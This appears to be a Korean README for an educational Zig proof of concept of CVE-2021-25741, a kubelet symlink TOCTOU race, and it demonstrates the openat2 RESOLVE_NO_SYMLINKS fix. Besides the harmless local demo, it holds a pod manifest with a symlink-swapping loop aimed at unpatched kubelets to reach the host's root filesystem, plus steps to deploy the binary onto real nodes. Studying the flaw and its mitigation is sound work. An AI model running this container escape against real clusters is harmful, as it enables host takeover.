
Zig로 작성된 CVE-2021-25741 POC
CVE-2021-25741의 원인인 TOCTOU(Time Of Check, Time Of Use) 경쟁 조건에 대한 교육용 익스플로잇입니다. 이는 Kubernetes kubelet의 취약점입니다.
이 프로젝트는 (K8s 클러스터 없이) 로컬에서 동시적인 심볼릭 링크 교체가 lstat()과 open() 사이의 경로 검증을 우회할 수 있는 방법을 보여주며, RESOLVE_* 플래그를 사용하는 openat2()가 해결책임을 입증합니다.
커널이 /a/b/c/file과 같은 경로를 해석할 때 구성 요소별로 수행합니다. 각 단계에서 구성 요소가 심볼릭 링크이면 커널이 자동으로 따라갑니다. 이 해석은 원자적이지 않습니다 — 두 단계 사이에 파일 시스템이 변경될 수 있습니다.
Kubernetes kubelet은 정확히 이 취약한 패턴을 사용했습니다:
1. CHECK : lstat(subPath) → "디렉터리이므로 안전함"
↕ 경쟁 조건 창 — 컨테이너 내 프로세스가 디렉터리를 심볼릭 링크로 교체
2. USE : mount(subPath) → 심볼릭 링크를 따라 호스트 파일 시스템 마운트
검사와 마운트 사이에 컨테이너 내 악성 프로세스가 subPath를 호스트의 /로 향하는 심볼릭 링크로 교체하여 호스트 파일 시스템에 대한 전체 액세스 권한을 얻을 수 있었습니다.
openat2 시스템 콜(커널 5.6+)은 경로를 해석하고 파일을 원자적으로 열며, 제약 조건을 적용할 수 있습니다:
openat2를 사용하면 TOCTOU 창이 없습니다: 해석 중에 심볼릭 링크가 나타나면 시스템 콜이 즉시 실패합니다.
두 개의 스레드가 협력하여 TOCTOU 창을 악용합니다:
workdir/
├── legit_dir/
│ └── secret.txt → 내용: "LEGIT"
├── symlink_target/
│ └── secret.txt → 내용: "PWNED"
└── target/ → 실제 디렉터리와 심볼릭 링크 사이에서 교체됨
초고속 루프를 돌며 renameat2(RENAME_EXCHANGE)를 통해 target/을 원자적으로 두 상태 사이에서 교체합니다:
target/이 실제 디렉터리임 (내용: secret.txt = "LEGIT")target/이 symlink_target/을 가리키는 심볼릭 링크임 (내용: secret.txt = "PWNED")한 번의 교체에 단일 시스템 콜만 사용하므로 경쟁 조건 창이 최대화됩니다.
kubelet의 취약한 패턴을 재현합니다:
fstatat("target", AT_SYMLINK_NOFOLLOW) — 디렉터리인지 확인openat(dirfd, "target/secret.txt", O_RDONLY) — 파일 열기read() — 내용 읽기"PWNED"이면 → 경쟁 조건 승리 (심볼릭 링크가 추적됨)"LEGIT"이면 → 경쟁 조건 패배 (실제 디렉터리였음)보호 모드(--use-openat2)에서는 3단계에서 RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH와 함께 openat2를 사용합니다. 심볼릭 링크가 있으면 커널이 추적하는 대신 ELOOP를 반환합니다.
src/
├── main.zig # 진입점: CLI 파싱, 공유 상태 생성, 스레드 생성,
│ # 시간 측정, 결과 출력
│
├── racer.zig # Racer 스레드: 초기 상태 준비 (target → symlink),
│ # 그 다음 renameat2(RENAME_EXCHANGE) 루프로
│ # target/과 legit_dir/을 계속 교체
│
├── victim.zig # Victim 스레드: N번 반복하며 fstatat → 지연 →
│ # openat/openat2 → read → "LEGIT" vs "PWNED" 비교
│
├── setup.zig # 테스트 디렉터리 구조 생성: workdir/, legit_dir/,
│ # symlink_target/, target/ 및 감시 파일
│
├── syscalls.zig # 원시 시스템 콜에 대한 상수와 래퍼:
│ # - open_how 구조체 (커널 UAPI, 3×u64)
│ # - RESOLVE_* 플래그
│ # - RENAME_EXCHANGE (= 2)
│ # - linux.syscall4(.openat2, ...)를 통한 openat2()
│ # - linux.renameat2()를 통한 rename_exchange()
│ # - 도우미: is_err(), to_errno(), to_fd()
│
└── stats.zig # 잠금 없는 원자적 카운터 (std.atomic.Value(u64))
# 승리, 패배, 오류, ELOOP 및 형식화된 출력
모든 시스템 콜은 std.os.linux.*를 통해 직접 호출됩니다 (std.fs 또는 std.posix 래퍼 없음). Zig 0.15 표준 라이브러리에 래퍼가 없는 유일한 시스템 콜은 openat2이며, 커널 UAPI 헤더에서 수동으로 정의한 open_how 구조체와 함께 linux.syscall4(.openat2, ...)를 통해 호출됩니다.
| 도구 | 버전 | 이유 |
|---|---|---|
| Zig | 0.15.x | 컴파일러 + 크로스 컴파일 |
| Docker | 아무거나 |
바이너리는 정적으로 컴파일되며 (musl libc) 의존성 없이 모든 Linux에서 실행됩니다.
최소 커널:
renameat2(RENAME_EXCHANGE) 필요RESOLVE_*와 함께 openat2 필요 (--use-openat2에만 필요)Mac의 Docker Desktop과 colima는 6.x 커널을 사용하므로 모든 것이 지원됩니다.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (x86 노드용)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
바이너리는 zig-out/bin/race-exploit에 있습니다.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Docker 런타임 시작 (macOS인 경우)
colima start
# 익스플로잇 실행 (기본 취약 모드)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# 취약 모드 (openat) — 경쟁 조건 작동
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# 보호 모드 (openat2) — 경쟁 조건 차단
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
또는 두 가지를 모두 실행하는 스크립트 사용:
./scripts/run_in_docker.sh --iterations 10000
--delay-us 매개변수는 lstat(검사)과 openat(사용) 사이에 지연 시간을 추가합니다. 지연 시간이 길수록 TOCTOU 창이 커지고 승리율이 높아집니다:
# 지연 없음 — 승리율 ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — 승리율 ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — 승리율 ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — 승리율 ~50% (포화, racer가 훨씬 빠르게 교체)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
실제 kubelet에서 subPath 검사와 바인드 마운트 사이의 지연 시간은 수 밀리초 정도(API 호출, 마운트 네임스페이스 준비 등)이므로 실제 조건에서 경쟁 조건이 매우 신뢰할 수 있습니다.
race-exploit [options]
--iterations N 시도 횟수 (기본값: 10000)
--delay-us N lstat과 open 사이의 마이크로초 지연 (기본값: 0)
--use-openat2 RESOLVE_*와 함께 openat2 사용 (보호 모드)
--workdir PATH 작업 디렉터리 (기본값: /tmp/race-workdir)
--help 도움말 표시
익스플로잇은 Kubernetes 없이도 작동합니다 — 이는 근본적인 Linux 경쟁 조건입니다. 하지만 실제 노드에서 실행하여 kubelet과 동일한 조건에서 테스트할 수 있습니다.
# 노드 아키텍처에 맞게 크로스 컴파일
# ARM64 (Graviton이 있는 EKS, T2A가 있는 GKE 등)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# 또는 x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# 바이너리를 노드에 복사
scp zig-out/bin/race-exploit user@node:/tmp/
# 노드에서 실행
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# 커널 버전 확인 (openat2를 위해 >= 5.6)
ssh user@node uname -r
바이너리를 포함하는 파드를 생성하여 실행:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # 바이너리를 미리 이 경로에 복사해야 함
restartPolicy: Never
# 먼저 바이너리를 노드에 복사
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# 파드 실행
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
CVE-2021-25741의 정확한 시나리오를 재현하려면 kubelet이 subPath가 있는 볼륨의 바인드 마운트를 준비하는 동안 경쟁 조건을 악용해야 합니다:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# 이 스크립트는 컨테이너 내에서 실행되며 kubelet이 마운트를 준비하는 동안 subPath를 교체합니다
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← kubelet이 이 경로를 확인한 다음 마운트합니다
volumes:
- name: shared-vol
emptyDir: {}
중요: 이 공격은 패치되지 않은 kubelet(버전 < 1.22.2, < 1.21.5, < 1.20.11)에서만 작동합니다. 최신 kubelet은 subPath를 해결하기 위해 RESOLVE_NO_SYMLINKS와 함께 openat2를 사용합니다.
kubelet이 취약한지 확인하려면:
# kubelet 버전
kubectl get nodes -o wide
# kubelet에서 openat2가 사용되는지 확인 (노드에서)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
주요 관찰 사항:
lstat이 심볼릭 링크를 보고 open을 시도하지 않음)openat 모드에서는 시도의 ~25%가 승리로 이어짐 ("PWNED" 파일이 읽힘)openat2 모드에서는 승리 0% — racer가 교체한 모든 시도는 커널이 ELOOP를 반환하여 감지함이 파일은 Zig 0.15 표준 라이브러리에 없는 상수를 정의합니다:
// renameat2(2) : 두 파일 시스템 항목의 원자적 교체
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : 시스템 콜에 전달되는 구조체
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY 등
mode: u64 = 0, // 권한 (O_CREAT인 경우)
resolve: u64 = 0, // RESOLVE_* 플래그
};
// open_how.resolve를 위한 해결 플래그
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // 모든 심볼릭 링크 거부
pub const RESOLVE_BENEATH: u64 = 0x08; // dirfd 위로 올라가는 것을 금지
openat2는 linux.syscall4(.openat2, ...)를 통해 호출됩니다. Zig 0.15에는 시스템 콜 번호가 있지만 래퍼는 없기 때문입니다.
시작 시 target/을 symlink_target/을 가리키는 심볼릭 링크로 변환한 다음, 두 개의 renameat2(RENAME_EXCHANGE) 루프를 돌며 target과 legit_dir을 교체합니다:
반복 1: target=dir, legit_dir=symlink ← victim이 dir을 보고 정상적으로 열음
반복 2: target=symlink, legit_dir=dir ← victim이 심볼릭 링크를 따라감 → PWNED
lstat → 지연 → openat/openat2 → read → 비교를 재현합니다. 결과는 잠금 없는 원자적 카운터(fetchAdd with ordering .monotonic)에 기록됩니다.
mkdirat, openat(O_CREAT), write를 모두 원시 시스템 콜로 사용하여 디렉터리 구조를 생성합니다. 두 개의 감시 파일: 실제 디렉터리에는 "LEGIT", 심볼릭 링크 대상에는 "PWNED".
# 두 스레드의 모든 시스템 콜 추적
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# 관심 있는 시스템 콜만 필터링
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# openat2의 ELOOP 확인
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
참고: strace는 Alpine에 기본 설치되어 있지 않습니다. alpine:edge를 사용하거나 apk add strace로 설치하세요:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| 플래그 | 효과 |
|---|
RESOLVE_NO_SYMLINKS | 모든 심볼릭 링크 추적 거부 → ELOOP 반환 |
RESOLVE_BENEATH | 기본 디렉터리 위로 올라가지 못하게 함 → EXDEV 반환 |
RESOLVE_IN_ROOT | dirfd를 파일 시스템 루트로 처리 |
RESOLVE_NO_XDEV | 마운트 지점 통과 거부 |
| Mac에서 Linux 바이너리 실행 |
| colima | 아무거나 | macOS의 Docker 런타임 (또는 Docker Desktop) |
| 시스템 콜 | 익스플로잇에서의 역할 | Zig 래퍼 |
|---|
renameat2(RENAME_EXCHANGE) | target ↔ legit_dir 원자적 교체 | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat: target이 dir인지 symlink인지 확인 | linux.fstatat() |
openat(O_RDONLY) | 심볼릭 링크를 따라 파일 열기 (취약) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | 심볼릭 링크를 거부하며 파일 열기 (수정) | linux.syscall4(.openat2, ...) |
symlinkat | 초기 심볼릭 링크 target → symlink_target 생성 | linux.symlinkat() |
unlinkat | target을 심볼릭 링크로 다시 생성하기 전에 제거 | linux.unlinkat() |
mkdirat | 테스트 디렉터리 생성 | linux.mkdirat() |
read / write / close | 감시 파일 I/O | linux.read() / linux.write() / linux.close() |